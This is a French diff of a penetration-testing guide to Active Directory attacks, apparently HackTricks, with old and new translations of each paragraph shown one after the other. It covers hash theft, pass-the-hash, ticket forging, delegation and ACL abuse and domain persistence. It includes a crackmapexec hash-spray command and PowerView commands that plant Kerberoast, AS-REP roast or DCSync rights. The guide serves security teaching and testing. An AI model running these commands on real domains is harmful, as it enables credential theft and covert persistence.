Maintenant que vous avez quelques identifiants de base, vous devriez vérifier si vous pouvez **trouver** des **fichiers intéressants partagés dans l'AD**. Vous pourriez le faire manuellement, mais c'est une tâche très ennuyeuse et répétitive (et encore plus si vous trouvez des centaines de documents à vérifier).
Maintenant que vous avez quelques credentials de base, vous devriez vérifier si vous pouvez **trouver** des **fichiers intéressants partagés dans l'AD**. Vous pouvez le faire manuellement mais c'est une tâche très ennuyante et répétitive (surtout si vous trouvez des centaines de docs à vérifier).
[**Suivez ce lien pour en savoir plus sur les outils que vous pourriez utiliser.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Steal NTLM Creds
Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés d'une manière ou d'une autre, **déclencheront une authentification NTLM contre vous**, afin que vous puissiez **voler** le **challenge NTLM** pour le cracker :
Si vous pouvez **accéder à d'autres PCs ou partages** vous pourriez **déposer des fichiers** (comme un fichier SCF) qui, s'ils sont accédés, vont **déclencher une authentification NTLM contre vous** afin que vous puissiez **voler** le **NTLM challenge** pour le cracker :
{{#ref}}
@ -229,32 +236,32 @@ Si vous pouvez **accéder à d'autres PC ou partages**, vous pourriez **placer d
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
Cette vulnérabilité a permis à tout utilisateur authentifié de **compromettre le contrôleur de domaine**.
Cette vulnérabilité permettait à tout utilisateur authentifié de **compromettre le domain controller**.
{{#ref}}
printnightmare.md
{{#endref}}
## Élévation de privilèges sur Active Directory AVEC des identifiants/sessions privilégiés
## Escalade de privilèges sur Active Directory AVEC des credentials/session privilégiés
**Pour les techniques suivantes, un utilisateur de domaine régulier ne suffit pas, vous avez besoin de privilèges/identifiants spéciaux pour effectuer ces attaques.**
**Pour les techniques suivantes un utilisateur de domaine ordinaire ne suffit pas, vous avez besoin de privilèges/credentials spéciaux pour effectuer ces attaques.**
### Hash extraction
### Extraction de hash
Espérons que vous avez réussi à **compromettre un compte administrateur local** en utilisant [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) y compris le relay, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Ensuite, il est temps de dumper tous les hashes en mémoire et localement.\
[**Lisez cette page sur les différentes façons d'obtenir les hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
Espérons que vous avez réussi à **compromettre un compte local admin** en utilisant [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluant le relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
Ensuite, il est temps d'extraire tous les hashes en mémoire et localement.\
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**Une fois que vous avez le hash d'un utilisateur**, vous pouvez l'utiliser pour **l'imiter**.\
Vous devez utiliser un **outil** qui va **effectuer** l'**authentification NTLM en utilisant** ce **hash**, **ou** vous pourriez créer une nouvelle **sessionlogon** et **injecter** ce **hash** dans le **LSASS**, de sorte que lorsque toute **authentification NTLM est effectuée**, ce **hash sera utilisé.** La dernière option est ce que fait mimikatz.\
[**Lisez cette page pour plus d'informations.**](../ntlm/index.html#pass-the-hash)
**Une fois que vous avez le hash d'un utilisateur**, vous pouvez l'utiliser pour **vous faire passer pour lui**.\
Vous devez utiliser un **outil** qui **effectuera** l'**authentification NTLM en utilisant** ce **hash**, **ou** vous pouvez créer un nouveau **sessionlogon** et **injecter** ce **hash** dans le **LSASS**, ainsi lorsqu'une **authentification NTLM est effectuée**, ce **hash sera utilisé.** La dernière option est ce que fait mimikatz.\
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
Cette attaque vise à **utiliser le hash NTLM de l'utilisateur pour demander des tickets Kerberos**, en alternative au Pass The Hash courant sur le protocole NTLM. Par conséquent, cela pourrait être particulièrement **utile dans les réseaux où le protocole NTLM est désactivé** et où seul **Kerberos est autorisé** comme protocole d'authentification.
Cette attaque vise à **utiliser le hash NTLM de l'utilisateur pour demander des tickets Kerberos**, comme alternative au Pass The Hash courant via le protocole NTLM. Par conséquent, cela peut être particulièrement **utile dans des réseaux où le protocole NTLM est désactivé** et où seul **Kerberos est autorisé** comme protocole d'authentification.
{{#ref}}
@ -263,7 +270,7 @@ over-pass-the-hash-pass-the-key.md
### Pass the Ticket
Dans la méthode d'attaque **Pass The Ticket (PTT)**, les attaquants **volent un ticket d'authentification d'un utilisateur** au lieu de son mot de passe ou de ses valeurs de hash. Ce ticket volé est ensuite utilisé pour **imiter l'utilisateur**, obtenant un accès non autorisé aux ressources et services au sein d'un réseau.
Dans la méthode d'attaque **Pass The Ticket (PTT)**, les attaquants **volent le ticket d'authentification d'un utilisateur** au lieu de son mot de passe ou de ses valeurs de hash. Ce ticket volé est ensuite utilisé pour **se faire passer pour l'utilisateur**, obtenant un accès non autorisé aux ressources et services du réseau.
{{#ref}}
@ -272,72 +279,91 @@ pass-the-ticket.md
### Credentials Reuse
Si vous avez le **hash** ou le **mot de passe** d'un **administrateur local**, vous devriez essayer de **vous connecter localement** à d'autres **PC** avec.
Si vous avez le **hash** ou le **password** d'un **local administrator** vous devriez essayer de **vous connecter localement** à d'autres **PCs** avec celui-ci.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> Notez que cela est assez **bruyant** et que **LAPS** le **mitigera**.
> Notez que ceci est assez **bruyant** et que **LAPS** l'**atténuerait**.
### Abus MSSQL & Liens de confiance
### MSSQL Abuse & Trusted Links
Si un utilisateur a les privilèges pour **accéder aux instances MSSQL**, il pourrait les utiliser pour **exécuter des commandes** sur l'hôte MSSQL (si celui-ci tourne en tant que SA), **voler** le **hash NetNTLM** ou même effectuer une **relay attack**.\
Aussi, si une instance MSSQL est trusted (database link) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données trustée, il pourra **utiliser la relation de trust pour exécuter des requêtes également dans l'autre instance**. Ces trusts peuvent être chaînés et à un moment donné l'utilisateur pourrait trouver une base de données mal configurée où il peut exécuter des commandes.\
**The links between databases work even across forest trusts.**
Si un utilisateur a des privilèges pour **accéder aux instances MSSQL**, il pourrait être en mesure de l'utiliser pour **exécuter des commandes** sur l'hôte MSSQL (s'il fonctionne en tant que SA), **voler** le **hash** NetNTLM ou même effectuer une **attaque** de **relais**.\
De plus, si une instance MSSQL est de confiance (lien de base de données) par une autre instance MSSQL. Si l'utilisateur a des privilèges sur la base de données de confiance, il pourra **utiliser la relation de confiance pour exécuter des requêtes également sur l'autre instance**. Ces relations de confiance peuvent être enchaînées et à un moment donné, l'utilisateur pourrait être en mesure de trouver une base de données mal configurée où il peut exécuter des commandes.\
**Les liens entre les bases de données fonctionnent même à travers les forêts de confiance.**
{{#ref}}
abusing-ad-mssql.md
{{#endref}}
### Délégation non contrainte
### IT asset/deployment platforms abuse
Les suites tierces d'inventaire et de déploiement exposent souvent des chemins puissants vers des identifiants et l'exécution de code. Voir :
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
{{#endref}}
{{#ref}}
lansweeper-security.md
{{#endref}}
### Unconstrained Delegation
Si vous trouvez un objet Computer avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur la machine, vous pourrez dump des TGTs depuis la mémoire de tous les utilisateurs qui se connectent à l'ordinateur.\
Ainsi, si un **Domain Admin se connecte à la machine**, vous pourrez dumper son TGT et l'usurper en utilisant [Pass the Ticket](pass-the-ticket.md).\
Grâce à constrained delegation vous pourriez même **compromettre automatiquement un Print Server** (espérons que ce soit un DC).
Si vous trouvez un objet ordinateur avec l'attribut [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) et que vous avez des privilèges de domaine sur l'ordinateur, vous pourrez extraire les TGT de la mémoire de chaque utilisateur qui se connecte à l'ordinateur.\
Donc, si un **Administrateur de domaine se connecte à l'ordinateur**, vous pourrez extraire son TGT et vous l'approprier en utilisant [Pass the Ticket](pass-the-ticket.md).\
Grâce à la délégation contrainte, vous pourriez même **compromettre automatiquement un serveur d'impression** (espérons qu'il s'agisse d'un DC).
{{#ref}}
unconstrained-delegation.md
{{#endref}}
### Délégation contrainte
### Constrained Delegation
Si un utilisateur ou un ordinateur est autorisé pour la "Constrained Delegation", il pourra **usurper n'importe quel utilisateur pour accéder à certains services sur une machine**.\
Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur vous pourrez **usurper n'importe quel utilisateur** (même des Domain Admins) pour accéder à certains services.
Si un utilisateur ou un ordinateur est autorisé à la "Délégation contrainte", il pourra **se faire passer pour n'importe quel utilisateur pour accéder à certains services sur un ordinateur**.\
Ensuite, si vous **compromettez le hash** de cet utilisateur/ordinateur, vous pourrez **vous faire passer pour n'importe quel utilisateur** (même des administrateurs de domaine) pour accéder à certains services.
{{#ref}}
constrained-delegation.md
{{#endref}}
### Délégation basée sur les ressources
### Resourced-based Constrain Delegation
Avoir le privilège **WRITE** sur un objet Active Directory d'un ordinateur distant permet d'obtenir l'exécution de code avec des **privilèges élevés** :
Avoir le privilège **WRITE** sur un objet Active Directory d'un ordinateur distant permet d'obtenir une exécution de code avec des **privilèges élevés** :
{{#ref}}
resource-based-constrained-delegation.md
{{#endref}}
### Abus des permissions/ACLs
### Permissions/ACLs Abuse
L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certains objets du domaine** qui pourraient vous permettre de **mouvementer latéralement**/ **escalader** des privilèges.
L'utilisateur compromis pourrait avoir des **privilèges intéressants sur certains objets de domaine** qui pourraient vous permettre de **déplacer** latéralement/**escalader** des privilèges.
{{#ref}}
acl-persistence-abuse/
{{#endref}}
### Abus du service Spooler d'impression
### Printer Spooler service abuse
Découvrir un **service Spool à l'écoute** dans le domaine peut être **abusé** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.
Découvrir un **service Spool** à l'écoute dans le domaine peut être **abusé** pour **acquérir de nouveaux identifiants** et **escalader des privilèges**.
{{#ref}}
printers-spooler-service-abuse.md
{{#endref}}
### Abus des sessions tierces
### Third party sessions abuse
Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **récupérer des identifiants depuis la mémoire** et même **injecter des beacons dans leurs processus** pour les usurper.\
Généralement les utilisateurs accèdent au système via RDP, voici donc comment effectuer quelques attaques sur des sessions RDP tierces :
Si **d'autres utilisateurs** **accèdent** à la machine **compromise**, il est possible de **rassembler des identifiants à partir de la mémoire** et même **d'injecter des balises dans leurs processus** pour se faire passer pour eux.\
En général, les utilisateurs accéderont au système via RDP, donc voici comment effectuer quelques attaques sur les sessions RDP tierces :
{{#ref}}
rdp-sessions-abuse.md
@ -345,50 +371,53 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** fournit un système pour gérer le **mot de passe de l'administrateur local** sur les ordinateurs joints au domaine, garantissant qu'il est **aléatoire**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé par des ACL pour les utilisateurs autorisés uniquement. Avec des permissions suffisantes pour accéder à ces mots de passe, le passage à d'autres ordinateurs devient possible.
**LAPS** fournit un système pour gérer le mot de passe de l'**Administrateur local** sur des machines jointes au domaine, en s'assurant qu'il est **randomisé**, unique et fréquemment **changé**. Ces mots de passe sont stockés dans Active Directory et l'accès est contrôlé via des ACLs uniquement pour les utilisateurs autorisés. Avec des permissions suffisantes pour accéder à ces mots de passe, il devient possible de pivoter vers d'autres machines.
{{#ref}}
laps.md
{{#endref}}
### Vol de certificats
### Certificate Theft
**Récupérer des certificats** depuis la machine compromise peut être un moyen d'escalader des privilèges à l'intérieur de l'environnement :
**Rassembler des certificats** à partir de la machine compromise pourrait être un moyen d'escalader des privilèges à l'intérieur de l'environnement :
{{#ref}}
ad-certificates/certificate-theft.md
{{#endref}}
### Abus des modèles de certificats
### Certificate Templates Abuse
Si des **templates vulnérables** sont configurés, il est possible de les abuser pour escalader des privilèges :
Si des **modèles vulnérables** sont configurés, il est possible de les abuser pour escalader des privilèges :
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}}
## Post-exploitation avec un compte à privilèges élevés
## Post-exploitation with high privilege account
### Dumping des identifiants de domaine
### Dumping Domain Credentials
Une fois que vous obtenez des privilèges **Administrateur de domaine** ou même mieux **Administrateur d'entreprise**, vous pouvez **dump** la **base de données de domaine** : _ntds.dit_.
Une fois que vous obtenez des privilèges **Domain Admin** ou, encore mieux, **Enterprise Admin**, vous pouvez **dump** la base de données du domaine : _ntds.dit_.
[**Plus d'informations sur l'attaque DCSync peuvent être trouvées ici**](dcsync.md).
[**Plus d'informations sur l'attaque DCSync ici**](dcsync.md).
[**Plus d'informations sur la façon de voler le NTDS.dit peuvent être trouvées ici**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
[**Plus d'informations sur la façon de voler le NTDS.dit ici**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Privesc comme persistance
### Privesc as Persistence
Certaines des techniques discutées précédemment peuvent être utilisées pour la persistance.\
Par exemple, vous pourriez :
Par exemple vous pourriez :
- Rendre les utilisateurs vulnérables à [**Kerberoast**](kerberoast.md)
- Rendre des utilisateurs vulnérables à [**Kerberoast**](kerberoast.md)
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- Rendre les utilisateurs vulnérables à [**ASREPRoast**](asreproast.md)
- Rendre des utilisateurs vulnérables à [**ASREPRoast**](asreproast.md)
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
@ -402,7 +431,8 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
L'**attaque Silver Ticket** crée un **ticket de service de ticket d'octroi (TGS)** légitime pour un service spécifique en utilisant le **hash NTLM** (par exemple, le **hash du compte PC**). Cette méthode est utilisée pour **accéder aux privilèges de service**.
L'attaque **Silver Ticket** crée un **Ticket Granting Service (TGS)** légitime pour un service spécifique en utilisant le **NTLM hash** (par exemple, le **hash du compte PC**). Cette méthode est employée pour **accéder aux privilèges du service**.
{{#ref}}
silver-ticket.md
@ -410,9 +440,10 @@ silver-ticket.md
### Golden Ticket
Une **attaque Golden Ticket** implique qu'un attaquant accède au **hash NTLM du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Tickets d'octroi de tickets (TGT)**, qui sont essentiels pour l'authentification au sein du réseau AD.
Une **attaque Golden Ticket** implique qu'un attaquant obtienne l'accès au **NTLM hash du compte krbtgt** dans un environnement Active Directory (AD). Ce compte est spécial car il est utilisé pour signer tous les **Ticket Granting Tickets (TGTs)**, essentiels pour l'authentification au sein du réseau AD.
Une fois que l'attaquant obtient ce hash, il peut créer des **TGTs** pour n'importe quel compte de son choix (Silver ticket attack).
Une fois que l'attaquant obtient ce hash, il peut créer des **TGT** pour n'importe quel compte de son choix (attaque Silver ticket).
{{#ref}}
golden-ticket.md
@ -420,53 +451,59 @@ golden-ticket.md
### Diamond Ticket
Ce sont comme des golden tickets forgés d'une manière qui **contourne les mécanismes de détection des golden tickets courants.**
Ce sont similaires aux golden tickets, forgés d'une manière qui **contourne les mécanismes de détection courants des golden tickets.**
{{#ref}}
diamond-ticket.md
{{#endref}}
### **Persistance des comptes de certificats**
### **Certificates Account Persistence**
**Posséder les certificats d'un compte ou pouvoir les demander** est un très bon moyen de persister sur le compte utilisateur (même s'il change son mot de passe) :
**Avoir des certificats d'un compte ou être capable de les demander** est un très bon moyen de pouvoir persister dans le compte des utilisateurs (même s'il change le mot de passe) :
{{#ref}}
ad-certificates/account-persistence.md
{{#endref}}
### **Persistance des certificats de domaine**
### **Certificates Domain Persistence**
**Utiliser des certificats permet aussi de persister avec des privilèges élevés à l'intérieur du domaine :**
**Utiliser des certificats est également possible pour persister avec des privilèges élevés à l'intérieur du domaine :**
{{#ref}}
ad-certificates/domain-persistence.md
{{#endref}}
### Groupe AdminSDHolder
### AdminSDHolder Group
L'objet **AdminSDHolder** dans Active Directory assure la sécurité des **groupes privilégiés** (comme les Administrateurs de domaine et les Administrateurs d'entreprise) en appliquant une **liste de contrôle d'accès (ACL)** standard à travers ces groupes pour prévenir les modifications non autorisées. Cependant, cette fonctionnalité peut être exploitée ; si un attaquant modifie l'ACL de l'AdminSDHolder pour donner un accès complet à un utilisateur ordinaire, cet utilisateur obtient un contrôle étendu sur tous les groupes privilégiés. Cette mesure de sécurité, censée protéger, peut donc se retourner contre elle, permettant un accès non autorisé à moins d'être étroitement surveillée.
L'objet **AdminSDHolder** dans Active Directory assure la sécurité des **groupes privilégiés** (comme Domain Admins et Enterprise Admins) en appliquant une **ACL** standard across ces groupes pour empêcher des modifications non autorisées. Cependant, cette fonctionnalité peut être exploitée ; si un attaquant modifie l'ACL d'AdminSDHolder pour donner un accès complet à un utilisateur régulier, cet utilisateur obtient un contrôle étendu sur tous les groupes privilégiés. Cette mesure de sécurité, destinée à protéger, peut donc se retourner contre l'environnement si elle n'est pas étroitement surveillée.
[**Plus d'informations sur le groupe AdminDSHolder ici.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**Plus d'informations sur AdminDSHolder Group ici.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### Identifiants DSRM
### DSRM Credentials
À l'intérieur de chaque **Domain Controller (DC)** existe un compte **Administrateur local**. En obtenant des droits admin sur une telle machine, le hash de l'Administrateur local peut être extrait avec **mimikatz**. Ensuite, une modification du registre est nécessaire pour **autoriser l'utilisation de ce mot de passe**, permettant un accès à distance au compte Administrateur local.
À l'intérieur de chaque **Contrôleur de domaine (DC)**, un compte **administrateur local** existe. En obtenant des droits d'administrateur sur une telle machine, le hash de l'administrateur local peut être extrait en utilisant **mimikatz**. Par la suite, une modification du registre est nécessaire pour **activer l'utilisation de ce mot de passe**, permettant un accès à distance au compte administrateur local.
{{#ref}}
dsrm-credentials.md
{{#endref}}
### Persistance ACL
### ACL Persistence
Vous pourriez **donner** des **permissions spéciales** à un **utilisateur** sur certains objets du domaine qui permettront à cet utilisateur **d'escalader des privilèges à l'avenir**.
Vous pourriez **donner** des **permissions spéciales** à un **utilisateur** sur certains objets de domaine spécifiques qui permettront à l'utilisateur **d'escalader des privilèges à l'avenir**.
{{#ref}}
acl-persistence-abuse/
{{#endref}}
### Descripteurs de sécurité
### Security Descriptors
Les **security descriptors** sont utilisés pour **stocker** les **permissions** qu'**un objet** possède **sur** un autre **objet**. Si vous pouvez simplement **faire** un **petit changement** dans le **security descriptor** d'un objet, vous pouvez obtenir des privilèges très intéressants sur cet objet sans avoir besoin d'être membre d'un groupe privilégié.
Les **descripteurs de sécurité** sont utilisés pour **stocker** les **permissions** qu'un **objet** a **sur** un **objet**. Si vous pouvez juste **faire** un **petit changement** dans le **descripteur de sécurité** d'un objet, vous pouvez obtenir des privilèges très intéressants sur cet objet sans avoir besoin d'être membre d'un groupe privilégié.
{{#ref}}
security-descriptors.md
@ -474,16 +511,18 @@ security-descriptors.md
### Skeleton Key
Modifier **LSASS** en mémoire pour établir un **mot de passe universel**, accordant l'accès à tous les comptes de domaine.
Altérer **LSASS** en mémoire pour établir un **mot de passe universel**, accordant l'accès à tous les comptes du domaine.
{{#ref}}
skeleton-key.md
{{#endref}}
### SSP personnalisé
### Custom SSP
[Apprenez ce qu'est un SSP (Security Support Provider) ici.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
Vous pouvez créer votre **propre SSP** pour **capturer** en **texte clair** les **identifiants** utilisés pour accéder à la machine.
Vous pouvez créer votre **propre SSP** pour **capturer en clair** les **identifiants** utilisés pour accéder à la machine.
{{#ref}}
custom-ssp.md
@ -491,80 +530,81 @@ custom-ssp.md
### DCShadow
Il enregistre un **nouveau contrôleur de domaine** dans l'AD et l'utilise pour **pousser des attributs** (SIDHistory, SPNs...) sur des objets spécifiés **sans** laisser de **logs** concernant les **modifications**. Vous **avez besoin de privilèges DA** et d'être à l'intérieur du **domaine racine**.\
Notez que si vous utilisez de mauvaises données, des logs assez laids apparaîtront.
Il enregistre un **nouveau Domain Controller** dans l'AD et l'utilise pour **pousser des attributs** (SIDHistory, SPNs...) sur des objets spécifiés **sans** laisser de **logs** concernant les **modifications**. Vous **avez besoin de privilèges DA** et d'être dans le **root domain**.\
Notez que si vous utilisez de mauvaises données, des logs assez visibles apparaîtront.
{{#ref}}
dcshadow.md
{{#endref}}
### Persistance LAPS
### LAPS Persistence
Précédemment, nous avons expliqué comment escalader des privilèges si vous avez **suffisamment de permissions pour lire les mots de passe LAPS**. Cependant, ces mots de passe peuvent aussi être utilisés pour **maintenir la persistance**.\
Consultez :
Auparavant, nous avons discuté de la façon d'escalader des privilèges si vous avez **suffisamment de permissions pour lire les mots de passe LAPS**. Cependant, ces mots de passe peuvent également être utilisés pour **maintenir la persistance**.\
Vérifiez :
{{#ref}}
laps.md
{{#endref}}
## Escalade de privilèges de forêt - Confiances de domaine
## Forest Privilege Escalation - Domain Trusts
Microsoft considère la **forêt** comme la frontière de sécurité. Cela implique que **compromettre un seul domaine pourrait potentiellement conduire à la compromission de l'ensemble de la forêt**.
Microsoft considère la **Forest** comme la frontière de sécurité. Cela implique que **la compromission d'un seul domaine pourrait potentiellement mener à la compromission de toute la Forest**.
### Informations de base
### Basic Information
Une [**confiance de domaine**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder à des ressources dans un autre **domaine**. Cela crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque les domaines établissent une confiance, ils échangent et conservent des **clés** spécifiques au sein de leurs **Contrôleurs de domaine (DC)**, qui sont cruciales pour l'intégrité de la confiance.
Un [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) est un mécanisme de sécurité qui permet à un utilisateur d'un **domaine** d'accéder aux ressources d'un autre **domaine**. Il crée essentiellement un lien entre les systèmes d'authentification des deux domaines, permettant aux vérifications d'authentification de circuler sans heurts. Lorsque des domaines établissent un trust, ils échangent et conservent des **clés** spécifiques dans leurs **Domain Controllers (DCs)**, qui sont cruciales pour l'intégrité du trust.
Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine de confiance**, il doit d'abord demander un ticket spécial connu sous le nom de **TGT inter-realm** à partir du DC de son propre domaine. Ce TGT est chiffré avec une **clé** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine de confiance** pour obtenir un ticket de service (**TGS**). Après validation réussie du TGT inter-realm par le DC du domaine de confiance, il émet un TGS, accordant à l'utilisateur l'accès au service.
Dans un scénario typique, si un utilisateur souhaite accéder à un service dans un **domaine trusté**, il doit d'abord demander un ticket spécial connu sous le nom **inter-realm TGT** auprès du DC de son propre domaine. Ce TGT est chiffré avec une **clé de trust** partagée que les deux domaines ont convenue. L'utilisateur présente ensuite ce TGT au **DC du domaine trusté** pour obtenir un ticket de service (**TGS**). Après validation réussie de l'inter-realm TGT par le DC du domaine trusté, ce dernier délivre un TGS, accordant à l'utilisateur l'accès au service.
**Étapes** :
1. Un **ordinateur client** dans le **Domaine 1** commence le processus en utilisant son **hash NTLM** pour demander un **Ticket Granting Ticket (TGT)** à son **Contrôleur de domaine (DC1)**.
1. Un **poste client** dans le **Domain 1** démarre le processus en utilisant son **NTLM hash** pour demander un **Ticket Granting Ticket (TGT)** à son **Domain Controller (DC1)**.
2. DC1 émet un nouveau TGT si le client est authentifié avec succès.
3. Le client demande ensuite un **TGT inter-realm** à DC1, qui est nécessaire pour accéder aux ressources dans le **Domaine 2**.
4. Le TGT inter-realm est chiffré avec une **clé de confiance** partagée entre DC1 et DC2 dans le cadre de la confiance de domaine bidirectionnelle.
5. Le client prend le TGT inter-realm au **Contrôleur de domaine du Domaine 2 (DC2)**.
6. DC2 vérifie le TGT inter-realm en utilisant sa clé de confiance partagée et, si valide, émet un **Ticket Granting Service (TGS)** pour le serveur dans le Domaine 2 auquel le client souhaite accéder.
7. Enfin, le client présente ce TGS au serveur, qui est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domaine 2.
3. Le client demande alors un **inter-realm TGT** à DC1, nécessaire pour accéder aux ressources du **Domain 2**.
4. L'inter-realm TGT est chiffré avec une **trust key** partagée entre DC1 et DC2 dans le cadre du trust bidirectionnel.
5. Le client apporte l'inter-realm TGT au **Domain Controller (DC2)** du Domain 2.
6. DC2 vérifie l'inter-realm TGT en utilisant sa trust key partagée et, si valide, émet un **Ticket Granting Service (TGS)** pour le serveur du Domain 2 auquel le client souhaite accéder.
7. Finalement, le client présente ce TGS au serveur, lequel est chiffré avec le hash du compte du serveur, pour obtenir l'accès au service dans le Domain 2.
### Différentes confiances
### Different trusts
Il est important de noter qu'une **confiance peut être unidirectionnelle ou bidirectionnelle**. Dans l'option bidirectionnelle, les deux domaines se feront confiance mutuellement, mais dans la relation de confiance **unidirectionnelle**, l'un des domaines sera le **domaine de confiance** et l'autre le **domaine de confiance**. Dans ce dernier cas, **vous ne pourrez accéder aux ressources à l'intérieur du domaine de confiance que depuis le domaine de confiance**.
Il est important de noter qu'**un trust peut être unidirectionnel ou bidirectionnel**. Dans l'option bidirectionnelle, les deux domaines se font confiance mutuellement, mais dans la relation de trust **unidirectionnelle**, l'un des domaines sera le **trusted** et l'autre le **trusting**. Dans ce dernier cas, **vous ne pourrez accéder qu'aux ressources du domaine trusting depuis le domaine trusted**.
Si le Domaine A fait confiance au Domaine B, A est le domaine de confiance et B est le domaine de confiance. De plus, dans le **Domaine A**, cela serait une **confiance sortante** ; et dans le **Domaine B**, cela serait une **confiance entrante**.
Si le Domain A trust le Domain B, A est le domaine trusting et B est le domaine trusted. De plus, dans **Domain A**, il s'agira d'un **Outbound trust** ; et dans **Domain B**, il s'agira d'un **Inbound trust**.
**Différentes relations de confiance**
**Different trusting relationships**
- **Confiances Parent-Enfant** : C'est une configuration courante au sein de la même forêt, où un domaine enfant a automatiquement une confiance bidirectionnelle transitive avec son domaine parent. Essentiellement, cela signifie que les demandes d'authentification peuvent circuler sans heurts entre le parent et l'enfant.
- **Confiances de liaison croisée** : Appelées "confiances de raccourci", celles-ci sont établies entre des domaines enfants pour accélérer les processus de référence. Dans des forêts complexes, les références d'authentification doivent généralement remonter jusqu'à la racine de la forêt, puis descendre vers le domaine cible. En créant des liaisons croisées, le trajet est raccourci, ce qui est particulièrement bénéfique dans des environnements géographiquement dispersés.
- **Confiances externes** : Celles-ci sont mises en place entre différents domaines non liés et sont de nature non transitive. Selon [la documentation de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), les confiances externes sont utiles pour accéder à des ressources dans un domaine en dehors de la forêt actuelle qui n'est pas connecté par une confiance de forêt. La sécurité est renforcée grâce au filtrage SID avec des confiances externes.
- **Confiances de racine d'arbre** : Ces confiances sont automatiquement établies entre le domaine racine de la forêt et une nouvelle racine d'arbre ajoutée. Bien qu'elles ne soient pas couramment rencontrées, les confiances de racine d'arbre sont importantes pour ajouter de nouveaux arbres de domaine à une forêt, leur permettant de maintenir un nom de domaine unique et garantissant une transitivité bidirectionnelle. Plus d'informations peuvent être trouvées dans [le guide de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
- **Confiances de forêt** : Ce type de confiance est une confiance bidirectionnelle transitive entre deux domaines racines de forêt, appliquant également un filtrage SID pour améliorer les mesures de sécurité.
- **Confiances MIT** : Ces confiances sont établies avec des domaines Kerberos conformes à [RFC4120](https://tools.ietf.org/html/rfc4120) non Windows. Les confiances MIT sont un peu plus spécialisées et s'adressent aux environnements nécessitant une intégration avec des systèmes basés sur Kerberos en dehors de l'écosystème Windows.
- **Parent-Child Trusts**: C'est une configuration courante au sein de la même forêt, où un domaine enfant a automatiquement un trust transitive bidirectionnel avec son domaine parent. Essentiellement, cela signifie que les demandes d'authentification peuvent circuler sans heurts entre le parent et l'enfant.
- **Cross-link Trusts**: Appelés aussi "shortcut trusts", ceux-ci sont établis entre des domaines enfants pour accélérer les processus de referral. Dans des forêts complexes, les referrals d'authentification doivent typiquement remonter jusqu'à la racine de la forêt puis redescendre vers le domaine cible. En créant des cross-links, le trajet est raccourci, ce qui est particulièrement utile dans des environnements géographiquement dispersés.
